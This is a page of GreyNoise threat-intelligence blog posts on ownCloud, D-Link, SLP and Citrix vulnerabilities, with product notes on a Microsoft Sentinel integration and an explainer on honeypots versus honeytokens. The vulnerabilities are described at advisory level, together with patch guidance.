Last week, GreyNoise published a high-level and deep-dive blog into a seemingly simple (but actually complex) vulnerability in ownCloud (CVE-2023-49103) that permitted users to enumerate environmental variables. Since it was listed as CVSS 10/10, everybody jumped on it. 

Once we understood the 10/10 vulnerability, CVE-2023-49103, we shifted focus to the 9.8/10 vulnerability, CVE-2023-49105, a WebDAV Api Authentication Bypass in ownCloud.

What we found is that CVE-2023-49105 is arguably a more severe vulnerability. Ron Bowes, Lead Security Researcher, quickly developed a PoC for this vulnerability (another deep-dive here!) and verified the findings published by Abionics Security’s write-up demonstrating how this vulnerability can enable remote code execution.

CVE-2023-49105 is an authentication bypass issue affecting ownCloud from version 10.6.0 to version 10.13.0. It allows an attacker to access, modify, or delete any file without authentication if the username is known. Even if the user has no signing key configured, ownCloud accepts pre-signed URLs, enabling the attacker to generate URLs for arbitrary file operations. 

Successfully exploiting CVE-2023-49105 can lead to serious impacts like data theft, ransomware deployment, and remote code execution. While it may have received less initial attention than the CVSS 10 issue, organizations using affected ownCloud versions should treat patching this vulnerability as a critical priority. Unlike the CVSS 10 issue, this affects *all* installations, not just Docker-based ones.

Upgrading to ownCloud 10.13.3 or later is reported to resolve CVE-2023-49105.

GreyNoise has developed a tag for both CVE-2023-49105 and CVE-2023-49103.

At this time we have not observed exploitation in the wild of CVE-2023-49105.

CVE-2022-28958: Remote Code Execution Vulnerability in D-Link REJECTED

CVE-2022-28958 was initially reported as a remote code execution (RCE) vulnerability in the D-Link DIR816L_FW206b01 firmware via the value parameter at shareport.php. This vulnerability, if real, would have posed a significant security risk, allowing unauthorized remote users to execute arbitrary code on the affected device.

However, further investigation into CVE-2022-28958 revealed that the vulnerability did not actually exist. Tests conducted on various firmware versions, including the reportedly vulnerable version 2.06b1, found no evidence of the vulnerability. Moreover, the original researcher who reported the vulnerability did not provide supporting evidence.

The CVE has been marked as REJECTED by the CVE List, retracted by the Certified Naming Authority that originally vetted and published the CVE, and CISA has removed the vulnerability from their catalog of known exploited vulnerabilities.

In response to these findings, GreyNoise researchers made the call to pull their D-Link DIR-816 tag for CVE-2022-28958. This action aligns with GreyNoise's commitment to providing the cybersecurity community with accurate and reliable threat intelligence.

The case of CVE-2022-28958 serves as a reminder of the importance of thorough and rigorous vulnerability verification. Incorrectly reported vulnerabilities can lead to unnecessary alarm and resource allocation in the cybersecurity community. They can also undermine trust in the reporting and cataloging systems that are crucial for effective vulnerability management.

In this context, the work of organizations like GreyNoise Intelligence and CISA is invaluable. By investigating reported vulnerabilities and making informed decisions based on their findings, they help ensure that the cybersecurity community can focus its efforts on real and present threats.

CVE-2023-49103: ownCloud Critical Vulnerability Quickly Exploited in the Wild

2023-11-30 UPDATE

Ron Bowes of the GreyNoise Labs team has made some updates to the deep dive into this critical vulnerability in ownCloud’s Graph API.

2023-11-29 UPDATE

Ron Bowes of the GreyNoise Labs team has put together a deep dive into this critical vulnerability in ownCloud’s Graph API. Ron discusses the exploit, its impact on Docker installations, and our comprehensive testing process, here at GreyNoise.


2023-11-27 ORIGINAL POST

On November 21, 2023, ownCloud publicly disclosed a critical vulnerability with a CVSS severity rating of 10 out of 10. This vulnerability, tracked as CVE-2023-49103, affects the "graphapi" app used in ownCloud. 

ownCloud is a file server and collaboration platform that enables secure storage, sharing, and synchronization of commonly sensitive files.

The vulnerability allows attackers to access admin passwords, mail server credentials, and license keys. 

GreyNoise has observed mass exploitation of this vulnerability in the wild as early as November 25, 2023.

The vulnerability arises from a flaw in the "graphapi" app, present in ownCloud versions 0.2.0 to 0.3.0. This app utilizes a third-party library that will reveal sensitive PHP environment configurations, including passwords and keys. Disabling the app does not entirely resolve the issue, and even non-containerized ownCloud instances are at risk. Docker containers before February 2023 are not affected. 

Mitigation information listed in the vendor's disclosure includes manual efforts such as deleting a directory and changing any secrets that may have been accessed.

In addition to CVE-2023-49103, ownCloud has also disclosed other critical vulnerabilities, including an authentication bypass flaw (CVE-2023-49105) and a critical flaw related to the oauth2 app (CVE-2023-49104). 

Organizations using ownCloud should address these vulnerabilities immediately. 

Elevating Threat Intelligence with GreyNoise and Microsoft Sentinel

GreyNoise has recently released a new integration for Microsoft Sentinel, enhancing the capabilities of threat intelligence for business security. This integration provides security professionals with valuable insights into internet-wide scanning and reconnaissance activities. Tailored to offer a streamlined feed of threat indicators, it enables proactive threat identification and mitigation. Users can now leverage GreyNoise data within their threat-hunting queries and any analytics rules.

GreyNoise indicators in Microsoft Sentinel

One of the most exciting aspects of our new integration is the seamless combination of GreyNoise’s data with Sentinel’s threat-hunting capabilities. Analysts now have a unique, robust ability to utilize GreyNoise data when investigating potential malicious patterns and anomalies within their network events. The integration also allows filtering out known opportunistic traffic during threat hunting to identify more targeted and malicious activity better. 

Modified threat-hunting queries to filter out indicators from GreyNoise

To further enhance detection capabilities, the new content pack also introduces a set of analytics rules designed to identify and mitigate potential threats. By incorporating these indicators into analytics rules, security teams can take a more proactive approach to identifying known malicious behavior. By taking this approach, detections are elevated, and organizations can stay ahead of malicious actors that are commonly looking for exposed, vulnerable devices and misconfigured applications. 

In conclusion, integrating GreyNoise with Microsoft Sentinel offers a strategic advantage in navigating the cybersecurity landscape. By combining indicators from GreyNoise with analytics rules, hunting queries, and existing automation workflows, analysts now wield an indispensable toolkit to combat evolving threats proactively.

Explore the latest content pack available on the Azure marketplace to start ingesting GreyNoise indicators into Microsoft’s Sentinel’s threat intelligence platform. You' will need a current GreyNoise trial or Enterprise license to access the GNQL API endpoint for data ingestion.  If you do not have access to either, contact us for more information and to get started.

Getting A Leg Up On Initial Access Ransomware With CISA KEV and GreyNoise Tags

The Cybersecurity and Infrastructure Security Agency (CISA) has added a field to their Known Exploited Vulnerabilities (KEV) catalog that denotes if a KEV CVE has been used in ransomware attacks. Over two hundred KEV CVEs fall into this category, 75 of which (~35%) have corresponding GreyNoise tags. GreyNoise's planetary fleet of sensors are designed to catch remote Initial Access attacks, and most ransomware exploits in KEV fall outside this category.

The addition of this ransomware designation has proven to be valuable for defenders. It provides a critical data point that may help them gain traction for interrupting normal operations so that teams can focus on patching and applying mitigations to prevent a potentially devastating incident from occurring.

As the chart below shows, GreyNoise meets or beats KEV when it comes to having detections and actionable intelligence available after a CVE has been published. Since many ransomware gangs hide their activities in the same compromised devices that GreyNoise tracks daily, this gives organizations that use GreyNoise IP intelligence block lists a significant advantage over those that do not. You can effectively negate the onslaught of the majority of opportunistic ransomware attacks and campaigns of initial access brokers by using the hourly updated telemetry provided by the GreyNoise platform.

Extending Your Lead

To stay even further ahead of our combined adversaries, GreyNoise account holders can join in the fight by sifting through the novel daily clusters of malicious events that assault our fleet every minute of each day.

We’ve talked about Sift before, and the GreyNoise Labs and Design teams recently enhanced the user experience, streamlining the user interface and integrating more tools to make it easier to spot potentially new and malicious traffic.

Know. More. Noise

Not a GreyNoise customer — yet? See how much time GreyNoise may be able to save your organization, and how many hours your defenders can save with our ROI calculator.

Sign up and take our platform for a free enterprise trial to see all the features and data available.

SLP Sliding Away With Reflection Amplification Thanks To CVE-2023-29552

CVE-2023-29552 is a high-severity vulnerability discovered in the Service Location Protocol (SLP), a legacy Internet protocol. This vulnerability allows an unauthenticated, remote attacker to register arbitrary services, enabling them to launch a Denial-of-Service (DoS) attack via a reflection amplification attack. BitSight first alerted the world to this weakness back in May.

GreyNoise has a new tag that identifies sources scanning for internet accessible endpoints exposing the Service Location Protocol. As of this blog post, all the activity is benign, and, is primarily coming from both Censys and ONYPHE.

Impact Assessment

The potential harm from this vulnerability is significant.Successful exploitation could potentially allow an attacker to launch one of the most powerful DoS amplification attacks in history, with an amplification factor as high as 2,200 times. This means that an attacker could send a small amount of traffic to a vulnerable SLP instance, which would then respond with a much larger amount of traffic to the victim's server. This could overwhelm the server, causing it to become unresponsive and disrupting the services it provides.

BitSight has noted that vulnerability affects more than 2,000 global organizations and over 54,000 SLP instances accessible via the internet, including VMWare ESXi Hypervisor, Konica Minolta printers, Planex Routers, IBM Integrated Management Module (IMM), SMC IPMI, and 665 other product types. This wide impact means that a large number of systems and services could potentially be disrupted by an attack exploiting this vulnerability.

DHS CISA added CVE-2023-29552 to their catalog of known exploited vulnerabilities on November 8, 2023. This means that the signs and portents foretold by BitSight have, indeed, come to pass.

The potential harms from this vulnerability are not limited to service disruption. DoS attacks can also lead to financial losses, especially for organizations that rely on web-based transactions. For instance, an online retailer could lose sales if their website becomes unavailable due to a DoS attack; or, financial services firms may be unable to process customer orb2b transactions. Furthermore, the recovery from such an attack could require significant resources, further increasing the financial impact.

Given the severity and potential impacts of this vulnerability, it's crucial for organizations to take steps to mitigate it.This could include upgrading to a release line that is not impacted by the vulnerability, or implementing other appropriate security measures to safeguard their networks and servers.

For Your Consideration

Folks may remember the recent HTTP/2 Rapid Reset vulnerability announced by Cloudflare. It was a zero-day vulnerability that exploited a weakness in the HTTP/2 protocol to generate massive Distributed Denial of Service (DDoS) attacks. The vulnerability, CVE-2023-44487, takes advantage of the ability of HTTP/2 to allow for multiple distinct logical connections to be multiplexed over a single HTTP session, with the rapid reset attack consisting of multiple HTTP/2 connections with requests and resets in rapid succession.

While both the Rapid Reset vulnerability and this new SLP vulnerability can lead to large-scale DDoS attacks, they exploit different protocols and mechanisms. The HTTP/2 Rapid Reset vulnerability exploits a feature in the HTTP/2 protocol to generate massive DDoS attacks, while the SLP amplification attack vector leverages the SLP protocol to amplify the volume of DDoS attacks.

We're Here To Help

GreyNoise customers can use our hourly updated blocklists for the SLP tag (compatible with Palo Alto, Cisco, Fortinet, and other next-gen firewalls) to gain proactive protection from non-benign sources looking for potential system with SLP exposed.

Unveiling the Deceptive World: Honeypots vs Honeytokens

At GreyNoise, when we talk about honeypots, we sometimes get questions about honeytokens and how they differ. This may come from some of the great contributors to this space, making things like honeytokens widely available to experiment with (yay!). Setting up and deploying realistic and diversified honeypots is trickier, but there are still great contributors in closed and open-source projects.

Despite each's similar purpose of early threat detection, honeypots and honeytokens vastly differ in deployment, interaction, and scope. Let's delve into the various aspects contributing to the misunderstanding and clarify the distinctive features of each.

The Origin: First Generation Honeypots & Honeytokens

The concept of a honeypot as a security tool emerged in the early 1990s. Initially, honeypots were used mainly for detecting attackers in networks. The first honeypots were simple to fingerprint as they were fundamentally traps that were easy for experienced hackers to recognize and avoid.

In 1998, Fred Cohen, a renowned computer scientist credited with introducing the term "computer virus," developed and released the Deception Toolkit. This was a basic honeypot tool designed to mimic vulnerabilities, giving the appearance of a vulnerable system.

The term "honeytoken'' originated from a mailing list in 2003 and is credited to Augusto Paes de Barros. In a discourse with Lance Spitzner, founder of the Honeynet project, Paes de Barros discussed the possibility of expanding detection to articles such as accounts, documents, info, etc.

 

Now let’s take a look at a little more about each individually.

Exploring the Facets of Honeypots:

1. Definition and Purpose:

What is a Honeypot? A honeypot is a security tool designed to mimic vulnerable systems with the intent to attract attackers. The goal is to analyze attacker activities and methodologies, which can include things like identifying if critical vulnerabilities are currently being exploited in the wild.

2. Deployment and Interaction:

Emulation and Monitoring: Honeypots are deployed as bogus systems or networks, luring attackers into a controlled environment where their actions are monitored, providing deep insights into their strategies and tactics.

3. Scope:

Network-Centric: Honeypots, focusing predominantly on network or system levels, adeptly detect diverse attacks, including unauthorized access and exploitation.

Deciphering the Role of Honeytokens:

1. Definition and Purpose:

What is a Honeytoken? A honeytoken is a decoy entity seamlessly blended into a system or data. Any interaction with a honeytoken is a clear indication of unauthorized access, promptly alerting organizations to potential breaches. It can be as simple as phony credentials to deceptive database entries. Various forms of honeytokens fortify systems against unauthorized infiltrations.

2. Deployment and Interaction:

Seamless Integration and Alert: Honeytokens, embedded within data or systems, act as silent sentinels, triggering alerts upon unauthorized access, without any interaction with the attacker.

3. Scope:

Data-Centric: Positioned at the data or information level, honeytokens adeptly detect illicit data access and insider threats.

Honeypots vs Honeytokens: A Comparative Glance:

Diverse in Deployment and Interaction:

While honeypots provide a more robust surface for attackers to interface with, thus providing extensive insights into attacker strategies, honeytokens silently monitor and alert organizations to unauthorized data interactions.

Varied in Scope:

Honeypots primarily emphasize network or system-level security, whereas honeytokens accentuate data-level protection, guarding against unauthorized access and breaches.

In Conclusion: The Convergence of Complementary Techniques:

In the mosaic of cybersecurity, honeypots, and honeytokens emerge as complementary, not competing, technologies. Honeypots, with their interactive and comprehensive insight into attacker behavior, coupled with the silent and alert-focused honeytokens, create a robust, multi-layered defense strategy. Organizations leveraging both are poised to significantly enhance their cybersecurity posture, staying ahead in the perpetual battle against cyber adversaries.

The intertwined utilization of honeypots and honeytokens reflects the evolving dynamism and complexity of cybersecurity, reinforcing the need for diverse, innovative, and integrated defense strategies to navigate the challenging cyber terrain effectively.

Want to learn more? Sign up for a free GreyNoise account to explore real data captured across our extensive network of honeypots.

Quickly Triaging HTTP Traffic From GreyNoise’s New Hosted Sensors

Our new hosted sensor fleet is cranking out PCAPs for those lucky folks who made it into the first round of our Early Access Program. These sensors enable you to give up a precious, internet-facing IPv4 address and have it automgically wired up to your choice of persona. These personas can be anything from a Cisco device, to a camera, and anything in between.

While there’s a fancy “PCAP analyzer” feature “coming soon” to the GN Visualizer and API, I’ve been mostly using a sensor that’s tucked away in a fairly quiescent part of the internet to quickly triage HTTP requests to see if we can bulk up our Tag (i.e., an attack/activity detection rule) corpus with things we may have missed in the sea of traffic we collect, tag, and triage every day.

Sure, Sift helps quite a bit with identifying truly horrific things, but occasionally a quick human pass at HTTP paths, headers, and POST bodies will either identify something we may have previously missed, or cause us to think a bit differently and start identifying more of the noise. This is how our recent “security.txt scanner 🏷️” and robots.txt scanner 🏷️ were birthed.

We've posted a detailed write-up on one way to do this over on the GreyNoise Labs Grimoire. Check it out and share your analyses or alternate ways you processes thse PCAPs in the Community Slack!

CVE-2023-4966 Helps Usher In A Baker’s Dozen Of Citrix Tags To Further Help Organizations Mitigate Harm

Citrix's NetScaler ADC and NetScaler Gateway have, once more, been found to have multiple vulnerabilities, tracked as CVE-2023-4966 and CVE-2023-4967

On October 23, 2023, GreyNoise Detection Engineers added tag coverage for CVE-2023-4966, which is an information disclosure vulnerability in NetScaler ADC and NetScaler Gateway. When configured as a gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or as an AAA virtual server, an unauthenticated attacker could exploit the device in order to hijack an existing authenticated session. Depending on the permissions of the account they have hijacked, this could allow the attacker to gain additional access within a target environment and collect other account credentials. 

CVE-2023-4967 is a denial-of-service (DoS) vulnerability that can potentially enable DoS attacks on vulnerable devices. 

Both CVEs were published on October 10, 2023, and the tag for CVE-2023-4966 joins 11 other Citrix-specific tags in the GreyNoise tag corpus.

The GreyNoise Storm⚡Watch webcast/podcast provided extensive coverage of this vulnerability in this week’s episode.

Widespread Attacks

As of this post’s publish time, GreyNoise has observed just under seventy IP addresses attempting to exploit this vulnerability: 

Activity started on the 24th and shows no signs of stopping.

Mitigating Harm

Citrix has urged customers to install updated versions of the affected devices as soon as possible. The recommended versions to upgrade to are NetScaler ADC and NetScaler Gateway 14.1-8.50 and later, NetScaler ADC and NetScaler Gateway 13.1-49.15 and later releases of 13.1, NetScaler ADC and NetScaler Gateway 13.0-92.19 and later releases of 13.0, NetScaler ADC 13.1-FIPS 13.1-37.164 and later releases of 13.1-FIPS, NetScaler ADC 12.1-FIPS 12.1-55.300 and later releases of 12.1-FIPS, and NetScaler ADC 12.1-NDcPP 12.1-55.300 and later releases of 12.1-NDcPP.

Citrix has provided no mitigation tips or workarounds at this time. Organizations are urged to patch immediately. The Cybersecurity and Infrastructure Security Agency (CISA) has added an entry for CVE-2023-4966 to its Known Exploited and Vulnerabilities Catalog, which contains detection and mitigation guidance for observed exploitations of CVE-2023-4966 by threat actors against NetScaler ADC and NetScaler Gateway.

Remote access technologies are prime targets for attackers, especially when proof-of-concept code becomes available. GreyNoise Detection Engineers work with research partners, and conducts bespoke vulnerability research to provide timely access to real-time intelligence that can help your organization buy time to patch, remove the noise of opportunistic attackers, and give you the opportunity to focus on fending off targeted attacks.

No blog articles found

Please update your search term or select a different category and try again.